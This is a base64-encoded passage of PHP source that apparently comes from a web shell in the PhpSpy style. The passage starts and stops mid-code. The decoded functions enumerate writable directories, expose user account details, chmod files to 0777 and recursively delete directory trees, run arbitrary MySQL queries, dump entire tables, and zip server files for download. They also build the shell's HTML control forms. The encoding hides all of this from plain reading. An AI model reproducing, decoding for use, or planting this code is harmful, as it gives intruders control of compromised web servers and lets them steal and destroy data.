WydyZWFkJ10gPSAoJG1vZGUgJiAwMDAwNCkgPyAncicgOiAnLSc7Cgkkd29ybGRbJ3dyaXRlJ10g
PSAoJG1vZGUgJiAwMDAwMikgPyAndycgOiAnLSc7Cgkkd29ybGRbJ2V4ZWN1dGUnXSA9ICgkbW9k
ZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsKCWlmKCAkbW9kZSAmIDB4ODAwICkgeyRvd25lclsnZXhl
Y3V0ZSddID0gKCRvd25lclsnZXhlY3V0ZSddPT0neCcpID8gJ3MnIDogJ1MnO30KCWlmKCAkbW9k
ZSAmIDB4NDAwICkgeyRncm91cFsnZXhlY3V0ZSddID0gKCRncm91cFsnZXhlY3V0ZSddPT0neCcp
ID8gJ3MnIDogJ1MnO30KCWlmKCAkbW9kZSAmIDB4MjAwICkgeyR3b3JsZFsnZXhlY3V0ZSddID0g
KCR3b3JsZFsnZXhlY3V0ZSddPT0neCcpID8gJ3QnIDogJ1QnO30KCXJldHVybgokdHlwZS4kb3du
ZXJbJ3JlYWQnXS4kb3duZXJbJ3dyaXRlJ10uJG93bmVyWydleGVjdXRlJ10uJGdyb3VwWydyZWFk
J10uJGdyb3VwWyd3cml0ZSddLiRncm91cFsnZXhlY3V0ZSddLiR3b3JsZFsncmVhZCddLgokd29y
bGRbJ3dyaXRlJ10uJHdvcmxkWydleGVjdXRlJ107Cn0KZnVuY3Rpb24gZ2V0VXNlcigkZmlsZXBh
dGgpCXsKCSRyPScnOwoJaWYoaXNmdW5jKCdwb3NpeF9nZXRwd3VpZCcpKSB7CgkJJGFycmF5ID0g
QHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGZpbGVwYXRoKSk7CgkJaWYoJGFycmF5ICYmIGlz
X2FycmF5KCRhcnJheSkpIHsKCQkJJHIuPSAnIC8gPGEgaHJlZj0iIyIgdGl0bGU9IlVzZXI6ICcu
JGFycmF5WyduYW1lJ10uJyYjMTMmIzEwUGFzc3dkOiAnLiRhcnJheVsncGFzc3dkJ10uJyYjMTMm
IzEwVWlkOiAnLiRhcnJheVsndWlkJ10uJyYjMTMmIzEwZ2lkOiAnLiRhcnJheVsnZ2lkJ10uJyYj
MTMmIzEwR2Vjb3M6ICcuJGFycmF5WydnZWNvcyddLicmIzEzJiMxMERpcjogJy4kYXJyYXlbJ2Rp
ciddLicmIzEzJiMxMFNoZWxsOiAnLiRhcnJheVsnc2hlbGwnXS4nIj4nLiRhcnJheVsnbmFtZSdd
Lic8L2E+JzsKCQl9Cgl9CglyZXR1cm4gJHI7Cn0KZnVuY3Rpb24gZGVsdHJlZSgkZGVsZGlyKSB7
CgkkbXlkaXI9QGRpcigkZGVsZGlyKTsKCXdoaWxlKCRmaWxlPSRteWRpci0+cmVhZCgpKQl7CgkJ
aWYoKGlzX2RpcigkZGVsZGlyLicvJy4kZmlsZSkpICYmICgkZmlsZSE9Jy4nKSAmJiAoJGZpbGUh
PScuLicpKSB7CgkJCUBjaG1vZCgkZGVsZGlyLicvJy4kZmlsZSwwNzc3KTsKCQkJZGVsdHJlZSgk
ZGVsZGlyLicvJy4kZmlsZSk7CgkJfQoJCWlmKGlzX2ZpbGUoJGRlbGRpci4nLycuJGZpbGUpKSB7
CgkJCUBjaG1vZCgkZGVsZGlyLicvJy4kZmlsZSwwNzc3KTsKCQkJQHVubGluaygkZGVsZGlyLicv
Jy4kZmlsZSk7CgkJfQoJfQoJJG15ZGlyLT5jbG9zZSgpOwoJQGNobW9kKCRkZWxkaXIsMDc3Nyk7
CglyZXR1cm4gQHJtZGlyKCRkZWxkaXIpID8gMSA6IDA7Cn0KZnVuY3Rpb24gYmcoKSB7Z2xvYmFs
ICRiZ2M7cmV0dXJuICgkYmdjKyslMj09MCkgPyAnYWx0MScgOiAnYWx0Mic7fQpmdW5jdGlvbiBn
ZXRQYXRoKCRzY3JpcHRwYXRoLCAkbm93cGF0aCkgewoJaWYoJG5vd3BhdGggPT0gJy4nKSB7CgkJ
JG5vd3BhdGggPSAkc2NyaXB0cGF0aDsKCX0KCSRub3dwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywg
Jy8nLCAkbm93cGF0aCk7Cgkkbm93cGF0aCA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5vd3Bh
dGgpOwoJaWYoc3Vic3RyKCRub3dwYXRoLCAtMSkgIT0gJy8nKSB7CgkJJG5vd3BhdGggPSAkbm93
cGF0aC4nLyc7Cgl9CglyZXR1cm4gJG5vd3BhdGg7Cn0KZnVuY3Rpb24gZ2V0VXBQYXRoKCRub3dw
YXRoKSB7CgkkcGF0aGRiID0gZXhwbG9kZSgnLycsICRub3dwYXRoKTsKCSRudW0gPSBjb3VudCgk
cGF0aGRiKTsKCWlmKCRudW0gPiAyKSB7CgkJdW5zZXQoJHBhdGhkYlskbnVtLTFdLCRwYXRoZGJb
JG51bS0yXSk7Cgl9CgkkdXBwYXRoID0gaW1wbG9kZSgnLycsICRwYXRoZGIpLicvJzsKCSR1cHBh
dGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICR1cHBhdGgpOwoJcmV0dXJuICR1cHBhdGg7Cn0K
ZnVuY3Rpb24gZ2V0Y2ZnKCR2YXIpIHsKCSRsID0gQGluaV9nZXQoJHZhcik7JGkgPSBAZ2V0X2Nm
Z192YXIoJHZhcik7CgkkbCA9ICRsID09IDAgPyAnTm8nIDogKCRsID09IDEgPyAnWWVzJyA6ICRs
KTsKCSRpID0gJGkgPT0gMCA/ICdObycgOiAoJGkgPT0gMSA/ICdZZXMnIDogJGkpOwoJJHIgPSAn
TG9jYWwgdmFsdWU6ICcuJGwuJyAtIElOSSB2YWx1ZTogJy4kaTsKCXJldHVybiAkcjsKfQpmdW5j
dGlvbiBHZXRMaXN0KCRkaXIpewpnbG9iYWwgJGRpcmRhdGEsJGosJG5vd3BhdGg7CiEkaiAmJiAk
aj0xOwppZigkZGggPSBvcGVuZGlyKCRkaXIpKSB7Cgl3aGlsZSAoJGZpbGUgPSByZWFkZGlyKCRk
aCkpIHsKCQkkZj1zdHJfcmVwbGFjZSgnLy8nLCcvJywkZGlyLicvJy4kZmlsZSk7CgkJaWYoJGZp
bGUhPScuJyAmJiAkZmlsZSE9Jy4uJyAmJiBpc19kaXIoJGYpKXsKCQkJaWYoaXNfd3JpdGFibGUo
JGYpKSB7CgkJCQkkZGlyZGF0YVskal1bJ2ZpbGVuYW1lJ109c3RyX3JlcGxhY2UoJG5vd3BhdGgs
JycsJGYpOwoJCQkJJGRpcmRhdGFbJGpdWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmls
ZW10aW1lKCRmKSk7CgkJCQkkZGlyZGF0YVskal1bJ2RpcmNobW9kJ109Z2V0Q2htb2QoJGYpOwoJ
CQkJJGRpcmRhdGFbJGpdWydkaXJwZXJtJ109Z2V0UGVybXMoJGYpOwoJCQkJJGRpcmRhdGFbJGpd
WydkaXJsaW5rJ109dWUoJGRpcik7CgkJCQkkZGlyZGF0YVskal1bJ3NlcnZlcl9saW5rJ109JGY7
CgkJCQkkZGlyZGF0YVskal1bJ2NsaWVudF9saW5rJ109dWUoJGYpOwoJCQkJJGorKzsKCQkJfQoJ
CQlHZXRMaXN0KCRmKTsKCQl9Cgl9CgljbG9zZWRpcigkZGgpOwoJY2xlYXJzdGF0Y2FjaGUoKTsK
CXJldHVybiAkZGlyZGF0YTsKCX0gZWxzZSB7CglyZXR1cm4gYXJyYXkoKTsKCX0KfQpmdW5jdGlv
biBxeSgkc3FsKSB7CiRyZXMgPSAkZXJyb3IgPSAnJzsKaWYoISRyZXMgPSBAbXlzcWxfcXVlcnko
JHNxbCkpIHsKCXJldHVybiAwOwoJfSBlbHNlIGlmKGlzX3Jlc291cmNlKCRyZXMpKSB7CglyZXR1
cm4gMTsKCX0gZWxzZSB7CglyZXR1cm4gMjsKCX0KcmV0dXJuIDA7Cn0KZnVuY3Rpb24gcSgkc3Fs
KSB7cmV0dXJuIEBteXNxbF9xdWVyeSgkc3FsKTt9CmZ1bmN0aW9uIGZyKCRxeSl7bXlzcWxfZnJl
ZV9yZXN1bHQoJHF5KTt9CmZ1bmN0aW9uIHNpemVjb3VudCgkc2l6ZSkgewoJaWYoJHNpemUgPiAx
MDczNzQxODI0KSB7CgkJJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8g
MTAwIC4gJyBHJzsKCX0gZWxzZWlmKCRzaXplID4gMTA0ODU3NikgewoJCSRzaXplID0gcm91bmQo
JHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuICcgTSc7Cgl9IGVsc2VpZigkc2l6ZSA+IDEw
MjQpIHsKCQkkc2l6ZSA9IHJvdW5kKCRzaXplIC8gMTAyNCAqIDEwMCkgLyAxMDAgLiAnIEsnOwoJ
fSBlbHNlIHsKCQkkc2l6ZSA9ICRzaXplIC4gJyBCJzsKCX0KCXJldHVybiAkc2l6ZTsKfQpjbGFz
cyBQSFBaaXB7Cgl2YXIgJG91dD0nJzsKCWZ1bmN0aW9uIFBIUFppcCgkZGlyKQl7CgkJaWYoaXNm
dW5jKCdnemNvbXByZXNzJykpCXsKCQkJJGN1cmRpciA9IGdldGN3ZCgpOwoJCQlpZihpc19hcnJh
eSgkZGlyKSkgJGZpbGVsaXN0ID0gJGRpcjsKCQkJZWxzZXsKCQkJCSRmaWxlbGlzdD0kdGhpcyAt
PiBHZXRGaWxlTGlzdCgkZGlyKTsKCQkJCWZvcmVhY2goJGZpbGVsaXN0IGFzICRrPT4kdikgJGZp
bGVsaXN0W109c3Vic3RyKCR2LHN0cmxlbigkZGlyKSsxKTsKCQkJfQoJCQlpZigoIWVtcHR5KCRk
aXIpKSYmKCFpc19hcnJheSgkZGlyKSkmJihmaWxlX2V4aXN0cygkZGlyKSkpIGNoZGlyKCRkaXIp
OwoJCQllbHNlIGNoZGlyKCRjdXJkaXIpOwoJCQlpZihjb3VudCgkZmlsZWxpc3QpPjApewoJCQkJ
Zm9yZWFjaCgkZmlsZWxpc3QgYXMgJGZpbGVuYW1lKXsKCQkJCQlpZihpc19maWxlKCRmaWxlbmFt
ZSkpewoJCQkJCQkkZmQgPSBmb3BlbiAoJGZpbGVuYW1lLCAncicpOwoJCQkJCQkkY29udGVudCA9
IEBmcmVhZCAoJGZkLCBmaWxlc2l6ZSgkZmlsZW5hbWUpKTsKCQkJCQkJZmNsb3NlICgkZmQpOwoJ
CQkJCQlpZihpc19hcnJheSgkZGlyKSkgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGZpbGVuYW1lKTsK
CQkJCQkJJHRoaXMgLT4gYWRkRmlsZSgkY29udGVudCwgJGZpbGVuYW1lKTsKCQkJCQl9CgkJCQl9
CgkJCQkkdGhpcy0+b3V0ID0gJHRoaXMgLT4gZmlsZSgpOwoJCQkJY2hkaXIoJGN1cmRpcik7CgkJ
CX0KCQkJcmV0dXJuIDE7CgkJfQoJCWVsc2UgcmV0dXJuIDA7Cgl9CglmdW5jdGlvbiBHZXRGaWxl
TGlzdCgkZGlyKXsKCQlzdGF0aWMgJGE7CgkJaWYoaXNfZGlyKCRkaXIpKSB7CgkJCWlmKCRkaCA9
IG9wZW5kaXIoJGRpcikpIHsKCQkJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgewoJCQkJ
CWlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicpewoJCQkJCQkkZj0kZGlyIC4nLycuICRmaWxl
OwoJCQkJCQlpZihpc19kaXIoJGYpKSAkdGhpcy0+R2V0RmlsZUxpc3QoJGYpOwoJCQkJCQkkYVtd
PSRmOwoJCQkJCX0KCQkJCX0KCQkJCWNsb3NlZGlyKCRkaCk7CgkJCX0KCQl9CgkJcmV0dXJuICRh
OwoJfQoJdmFyICRkYXRhc2VjICAgICAgPSBhcnJheSgpOwoJdmFyICRjdHJsX2RpciAgICAgPSBh
cnJheSgpOwoJdmFyICRlb2ZfY3RybF9kaXIgPSAiXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgw
MFx4MDAiOwoJdmFyICRvbGRfb2Zmc2V0ICAgPSAwOwoJZnVuY3Rpb24gdW5peDJEb3NUaW1lKCR1
bml4dGltZSA9IDApIHsKCQkkdGltZWFycmF5ID0gKCR1bml4dGltZSA9PSAwKSA/IGdldGRhdGUo
KSA6IGdldGRhdGUoJHVuaXh0aW1lKTsKCQlpZigkdGltZWFycmF5Wyd5ZWFyJ10gPCAxOTgwKSB7
CgkJCSR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7CgkJCSR0aW1lYXJyYXlbJ21vbiddICAg
ICA9IDE7CgkJCSR0aW1lYXJyYXlbJ21kYXknXSAgICA9IDE7CgkJCSR0aW1lYXJyYXlbJ2hvdXJz
J10gICA9IDA7CgkJCSR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA9IDA7CgkJCSR0aW1lYXJyYXlbJ3Nl
Y29uZHMnXSA9IDA7CgkJfQoJCXJldHVybiAoKCR0aW1lYXJyYXlbJ3llYXInXSAtIDE5ODApIDw8
IDI1KSB8ICgkdGltZWFycmF5Wydtb24nXSA8PCAyMSkgfCAoJHRpbWVhcnJheVsnbWRheSddIDw8
IDE2KSB8ICgkdGltZWFycmF5Wydob3VycyddIDw8IDExKSB8ICgkdGltZWFycmF5WydtaW51dGVz
J10gPDwgNSkgfCAoJHRpbWVhcnJheVsnc2Vjb25kcyddID4+IDEpOwoJfQoJZnVuY3Rpb24gYWRk
RmlsZSgkZGF0YSwgJG5hbWUsICR0aW1lID0gMCkgewoJCSRuYW1lID0gc3RyX3JlcGxhY2UoJ1xc
JywgJy8nLCAkbmFtZSk7CgkJJGR0aW1lID0gZGVjaGV4KCR0aGlzLT51bml4MkRvc1RpbWUoJHRp
bWUpKTsKCQkkaGV4ZHRpbWUgPSAnXHgnIC4gJGR0aW1lWzZdIC4gJGR0aW1lWzddCgkJLiAnXHgn
IC4gJGR0aW1lWzRdIC4gJGR0aW1lWzVdCgkJLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1lWzNd
CgkJLiAnXHgnIC4gJGR0aW1lWzBdIC4gJGR0aW1lWzFdOwoJCWV2YWwoJyRoZXhkdGltZSA9ICIn
IC4gJGhleGR0aW1lIC4gJyI7Jyk7CgkJJGZyCT0gIlx4NTBceDRiXHgwM1x4MDQiOwoJCSRmcgku
PSAiXHgxNFx4MDAiOwoJCSRmcgkuPSAiXHgwMFx4MDAiOwoJCSRmcgkuPSAiXHgwOFx4MDAiOwoJ
CSRmcgkuPSAkaGV4ZHRpbWU7CgkJJHVuY19sZW4gPSBzdHJsZW4oJGRhdGEpOwoJCSRjcmMgPSBj
cmMzMigkZGF0YSk7CgkJJHpkYXRhID0gZ3pjb21wcmVzcygkZGF0YSk7CgkJJGNfbGVuID0gc3Ry
bGVuKCR6ZGF0YSk7CgkJJHpkYXRhID0gc3Vic3RyKHN1YnN0cigkemRhdGEsIDAsIHN0cmxlbigk
emRhdGEpIC0gNCksIDIpOwoJCSRmciAuPSBwYWNrKCdWJywgJGNyYyk7CgkJJGZyIC49IHBhY2so
J1YnLCAkY19sZW4pOwoJCSRmciAuPSBwYWNrKCdWJywgJHVuY19sZW4pOwoJCSRmciAuPSBwYWNr
KCd2Jywgc3RybGVuKCRuYW1lKSk7CgkJJGZyIC49IHBhY2soJ3YnLCAwKTsKCQkkZnIgLj0gJG5h
bWU7CgkJJGZyIC49ICR6ZGF0YTsKCQkkZnIgLj0gcGFjaygnVicsICRjcmMpOwoJCSRmciAuPSBw
YWNrKCdWJywgJGNfbGVuKTsKCQkkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsKCQkkdGhpcyAt
PiBkYXRhc2VjW10gPSAkZnI7CgkJJG5ld19vZmZzZXQgPSBzdHJsZW4oaW1wbG9kZSgnJywgJHRo
aXMtPmRhdGFzZWMpKTsKCQkkY2RyZWMgPSAiXHg1MFx4NGJceDAxXHgwMiI7CgkJJGNkcmVjIC49
ICJceDAwXHgwMCI7CgkJJGNkcmVjIC49ICJceDE0XHgwMCI7CgkJJGNkcmVjIC49ICJceDAwXHgw
MCI7CgkJJGNkcmVjIC49ICJceDA4XHgwMCI7CgkJJGNkcmVjIC49ICRoZXhkdGltZTsKCQkkY2Ry
ZWMgLj0gcGFjaygnVicsICRjcmMpOwoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJGNfbGVuKTsKCQkk
Y2RyZWMgLj0gcGFjaygnVicsICR1bmNfbGVuKTsKCQkkY2RyZWMgLj0gcGFjaygndicsIHN0cmxl
bigkbmFtZSkgKTsKCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsKCQkkY2RyZWMgLj0gcGFjaygn
dicsIDAgKTsKCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsKCQkkY2RyZWMgLj0gcGFjaygndics
IDAgKTsKCQkkY2RyZWMgLj0gcGFjaygnVicsIDMyICk7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAk
dGhpcyAtPiBvbGRfb2Zmc2V0ICk7CgkJJHRoaXMgLT4gb2xkX29mZnNldCA9ICRuZXdfb2Zmc2V0
OwoJCSRjZHJlYyAuPSAkbmFtZTsKCQkkdGhpcyAtPiBjdHJsX2RpcltdID0gJGNkcmVjOwoJfQoJ
ZnVuY3Rpb24gZmlsZSgpIHsKCQkkZGF0YSAgICA9IGltcGxvZGUoJycsICR0aGlzIC0+IGRhdGFz
ZWMpOwoJCSRjdHJsZGlyID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOwoJCXJldHVy
biAkZGF0YSAuICRjdHJsZGlyIC4gJHRoaXMgLT4gZW9mX2N0cmxfZGlyIC4gcGFjaygndicsIHNp
emVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4gcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJs
X2RpcikpIC4JcGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpIC4gcGFjaygnVicsIHN0cmxlbigk
ZGF0YSkpIC4gIlx4MDBceDAwIjsKCX0KfQpmdW5jdGlvbiBzcWxkdW1wdGFibGUoJHRhYmxlLCAk
ZnA9MCkgewoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iOwoJ
JHRhYmxlZHVtcCAuPSAiQ1JFQVRFIFRBQkxFICR0YWJsZSAoXG4iOwoJJGZpcnN0ZmllbGQ9MTsK
CSRmaWVsZHMgPSBxKCJTSE9XIEZJRUxEUyBGUk9NICR0YWJsZSIpOwoJd2hpbGUgKCRmaWVsZCA9
IG15c3FsX2ZldGNoX2FycmF5KCRmaWVsZHMpKSB7CgkJaWYoISRmaXJzdGZpZWxkKSB7CgkJCSR0
YWJsZWR1bXAgLj0gIixcbiI7CgkJfSBlbHNlIHsKCQkJJGZpcnN0ZmllbGQ9MDsKCQl9CgkJJHRh
YmxlZHVtcCAuPSAiICAgJGZpZWxkW0ZpZWxkXSAkZmllbGRbVHlwZV0iOwoJCWlmKCFlbXB0eSgk
ZmllbGRbIkRlZmF1bHQiXSkpIHsKCQkJJHRhYmxlZHVtcCAuPSAiIERFRkFVTFQgJyRmaWVsZFtE
ZWZhdWx0XSciOwoJCX0KCQlpZigkZmllbGRbJ051bGwnXSAhPSAiWUVTIikgewoJCQkkdGFibGVk
dW1wIC49ICIgTk9UIE5VTEwiOwoJCX0KCQlpZigkZmllbGRbJ0V4dHJhJ10gIT0gIiIpIHsKCQkJ
JHRhYmxlZHVtcCAuPSAiICRmaWVsZFtFeHRyYV0iOwoJCX0KCX0KCWZyKCRmaWVsZHMpOwoJJGtl
eXMgPSBxKCJTSE9XIEtFWVMgRlJPTSAkdGFibGUiKTsKCXdoaWxlICgka2V5ID0gbXlzcWxfZmV0
Y2hfYXJyYXkoJGtleXMpKSB7CgkJJGtuYW1lPSRrZXlbJ0tleV9uYW1lJ107CgkJaWYoJGtuYW1l
ICE9ICJQUklNQVJZIiAmJiAka2V5WydOb25fdW5pcXVlJ10gPT0gMCkgewoJCQkka25hbWU9IlVO
SVFVRXwka25hbWUiOwoJCX0KCQlpZighaXNfYXJyYXkoJGluZGV4WyRrbmFtZV0pKSB7CgkJCSRp
bmRleFska25hbWVdID0gYXJyYXkoKTsKCQl9CgkJJGluZGV4WyRrbmFtZV1bXSA9ICRrZXlbJ0Nv
bHVtbl9uYW1lJ107Cgl9Cglmcigka2V5cyk7Cgl3aGlsZShsaXN0KCRrbmFtZSwgJGNvbHVtbnMp
ID0gQGVhY2goJGluZGV4KSkgewoJCSR0YWJsZWR1bXAgLj0gIixcbiI7CgkJJGNvbG5hbWVzPWlt
cGxvZGUoJGNvbHVtbnMsIiwiKTsKCQlpZigka25hbWUgPT0gIlBSSU1BUlkiKSB7CgkJCSR0YWJs
ZWR1bXAgLj0gIiAgIFBSSU1BUlkgS0VZICgkY29sbmFtZXMpIjsKCQl9IGVsc2UgewoJCQlpZihz
dWJzdHIoJGtuYW1lLDAsNikgPT0gIlVOSVFVRSIpIHsKCQkJCSRrbmFtZT1zdWJzdHIoJGtuYW1l
LDcpOwoJCQl9CgkJCSR0YWJsZWR1bXAgLj0gIiAgIEtFWSAka25hbWUgKCRjb2xuYW1lcykiOwoJ
CX0KCX0KCSR0YWJsZWR1bXAgLj0gIlxuKTtcblxuIjsKCWlmKCRmcCkgewoJCWZ3cml0ZSgkZnAs
JHRhYmxlZHVtcCk7Cgl9IGVsc2UgewoJCWVjaG8gJHRhYmxlZHVtcDsKCX0KCSRyb3dzID0gcSgi
U0VMRUNUICogRlJPTSAkdGFibGUiKTsKCSRudW1maWVsZHMgPSBteXNxbF9udW1fZmllbGRzKCRy
b3dzKTsKCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJvd3MpKSB7CgkJJHRhYmxl
ZHVtcCA9ICJJTlNFUlQgSU5UTyAkdGFibGUgVkFMVUVTKCI7CgkJJGZpZWxkY291bnRlcj0tMTsK
CQkkZmlyc3RmaWVsZD0xOwoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXI8JG51bWZpZWxkcykgewoJ
CQlpZighJGZpcnN0ZmllbGQpIHsKCQkJCSR0YWJsZWR1bXAuPSIsICI7CgkJCX0gZWxzZSB7CgkJ
CQkkZmlyc3RmaWVsZD0wOwoJCQl9CgkJCWlmKCFpc3NldCgkcm93WyRmaWVsZGNvdW50ZXJdKSkg
ewoJCQkJJHRhYmxlZHVtcCAuPSAiTlVMTCI7CgkJCX0gZWxzZSB7CgkJCQkkdGFibGVkdW1wIC49
ICInIi5teXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbJGZpZWxkY291bnRlcl0pLiInIjsKCQkJfQoJ
CX0KCQkkdGFibGVkdW1wIC49ICIpO1xuIjsKCQlpZigkZnApIHsKCQkJZndyaXRlKCRmcCwkdGFi
bGVkdW1wKTsKCQl9IGVsc2UgewoJCQllY2hvICR0YWJsZWR1bXA7CgkJfQoJfQoJZnIoJHJvd3Mp
OwoJaWYoJGZwKSB7CgkJZndyaXRlKCRmcCwiXG4iKTsKCX0gZWxzZSB7CgkJZWNobyAiXG4iOwoJ
fQp9CmZ1bmN0aW9uIHVlKCRzdHIpe3JldHVybiB1cmxlbmNvZGUoJHN0cik7fQpmdW5jdGlvbiBw
KCRzdHIpe2VjaG8gJHN0ci4iXG4iO30KZnVuY3Rpb24gdGJoZWFkKCkge3AoJzx0YWJsZSB3aWR0
aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iNCIgY2VsbHNwYWNpbmc9IjAiPicpO30K
ZnVuY3Rpb24gdGJmb290KCl7cCgnPC90YWJsZT4nKTt9CmZ1bmN0aW9uIG1ha2VoaWRlKCRuYW1l
LCR2YWx1ZT0nJyl7cCgnPGlucHV0IGlkPSInLiRuYW1lLiciIHR5cGU9ImhpZGRlbiIgbmFtZT0i
Jy4kbmFtZS4nIiB2YWx1ZT0iJy4kdmFsdWUuJyIgLz4nKTt9CmZ1bmN0aW9uIG1ha2VpbnB1dCgk
YXJnID0gYXJyYXkoKSl7CiRhcmdbJ3NpemUnXSA9ICRhcmdbJ3NpemUnXSA+IDAgPyAic2l6ZT1c
IiRhcmdbc2l6ZV1cIiIgOiAic2l6ZT1cIjEwMFwiIjsKJGFyZ1snZXh0cmEnXSA9ICRhcmdbJ2V4
dHJhJ10gPyAkYXJnWydleHRyYSddIDogJyc7CiEkYXJnWyd0eXBlJ10gJiYgJGFyZ1sndHlwZSdd
ID0gJ3RleHQnOwokYXJnWyd0aXRsZSddID0gJGFyZ1sndGl0bGUnXSA/ICRhcmdbJ3RpdGxlJ10u
JzxiciAvPicgOiAnJzsKJGFyZ1snY2xhc3MnXSA9ICRhcmdbJ2NsYXNzJ10gPyAkYXJnWydjbGFz
cyddIDogJ2lucHV0JzsKaWYoJGFyZ1snbmV3bGluZSddKSB7CglwKCI8cD4kYXJnW3RpdGxlXTxp
bnB1dCBjbGFzcz1cIiRhcmdbY2xhc3NdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBpZD1cIiRhcmdb
bmFtZV1cIiB2YWx1ZT1cIiRhcmdbdmFsdWVdXCIgdHlwZT1cIiRhcmdbdHlwZV1cIiAkYXJnW3Np
emVdICRhcmdbZXh0cmFdIC8+PC9wPiIpOwoJfSBlbHNlIHsKCXAoIiRhcmdbdGl0bGVdPGlucHV0
IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1l
XVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0g
JGFyZ1tleHRyYV0gLz4iKTsKCX0KfQpmdW5jdGlvbiBtYWtlc2VsZWN0KCRhcmcgPSBhcnJheSgp
KXsKaWYoJGFyZ1snb25jaGFuZ2UnXSkgewoJJG9uY2hhbmdlID0gJ29uY2hhbmdlPSInLiRhcmdb
J29uY2hhbmdlJ10uJyInOwp9CiRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sn
dGl0bGUnXSA6ICcnOwppZigkYXJnWyduZXdsaW5lJ10pIHAoJzxwPicpOwoJcCgiJGFyZ1t0aXRs
ZV0gPHNlbGVjdCBjbGFzcz1cImlucHV0XCIgaWQ9XCIkYXJnW25hbWVdXCIgbmFtZT1cIiRhcmdb
bmFtZV1cIiAkb25jaGFuZ2U+Iik7CglpZihpc19hcnJheSgkYXJnWydvcHRpb24nXSkpIHsKCQlm
b3JlYWNoICgkYXJnWydvcHRpb24nXSBhcyAka2V5PT4kdmFsdWUpIHsKCQkJaWYoJGFyZ1snc2Vs
ZWN0ZWQnXT09JGtleSkgewoJCQkJcCgiPG9wdGlvbiB2YWx1ZT1cIiRrZXlcIiBzZWxlY3RlZD4k
dmFsdWU8L29wdGlvbj4iKTsKCQkJfSBlbHNlIHsKCQkJCXAoIjxvcHRpb24gdmFsdWU9XCIka2V5
XCI+JHZhbHVlPC9vcHRpb24+Iik7CgkJCX0KCQl9Cgl9CnAoIjwvc2VsZWN0PiIpOwppZigkYXJn
WyduZXdsaW5lJ10pIHAoJzwvcD4nKTsKfQpmdW5jdGlvbiBmb3JtaGVhZCgkYXJnID0gYXJyYXko
KSkgewohJGFyZ1snbWV0aG9kJ10gJiYgJGFyZ1snbWV0aG9kJ10gPSAncG9zdCc7CiEkYXJnWydh
Y3Rpb24nXSAmJiAkYXJnWydhY3Rpb24nXSA9ICRzZWxmOwokYXJnWyd0YXJnZXQnXSA9ICRhcmdb
J3RhcmdldCddID8gInRhcmdldD1cIiRhcmdbdGFyZ2V0XVwiIiA6ICcnOwohJGFyZ1snbmFtZSdd
ICYmICRhcmdbJ25hbWUnXSA9ICdmb3JtMSc7CnAoIjxmb3JtIG5hbWU9XCIkYXJnW25hbWVdXCIg
aWQ9XCIkYXJnW25hbWVdXCIgYWN0aW9uPVwiJGFyZ1thY3Rpb25dXCIgbWV0aG9kPVwiJGFyZ1tt
ZXRob2RdXCIgJGFyZ1t0YXJnZXRdPiIpOwppZigkYXJnWyd0aXRsZSddKSB7cCgnPGgyPicuJGFy
Z1sndGl0bGUnXS4nICZyYXF1bzs8L2gyPicpO30KfQpmdW5jdGlvbiBtYWtldGV4dCgkYXJnID0g
YXJyYXkoKSl7CiEkYXJnWydjb2xzJ10gJiYgJGFyZ1snY29scyddID0gMTAwOwohJGFyZ1sncm93
cyddICYmICRhcmdbJ3Jvd3MnXSA9IDI1OwokYXJnWyd0aXRsZSddID0gJGFyZ1sndGl0bGUnXSA/
ICRhcmdbJ3RpdGxlJ10uJzxiciAvPicgOiAnJzsKcCgiPHA+JGFyZ1t0aXRsZV08dGV4dGFyZWEg
Y2xhc3M9XCJhcmVhXCIgaWQ9XCIkYXJnW25hbWVdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBjb2xz
PVwiJGFyZ1tjb2xzXVwiIHJvd3M9XCIkYXJnW3Jvd3NdXCIgJGFyZ1tleHRyYV0+JGFyZ1t2YWx1
ZV08L3RleHRhcmVhPjwvcD4iKTsKfQpmdW5jdGlvbiBmb3JtZm9vdGVyKCRuYW1lPScnKXshJG5h
bWUgJiYgJG5hbWUgPSAnc3VibWl0JztwKCc8cD48aW5wdXQgY2xhc3M9ImJ0IiBuYW1lPSInLiRu
YW1lLiciIGlkPSInLiRuYW1lLiciIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgLz48L3A+
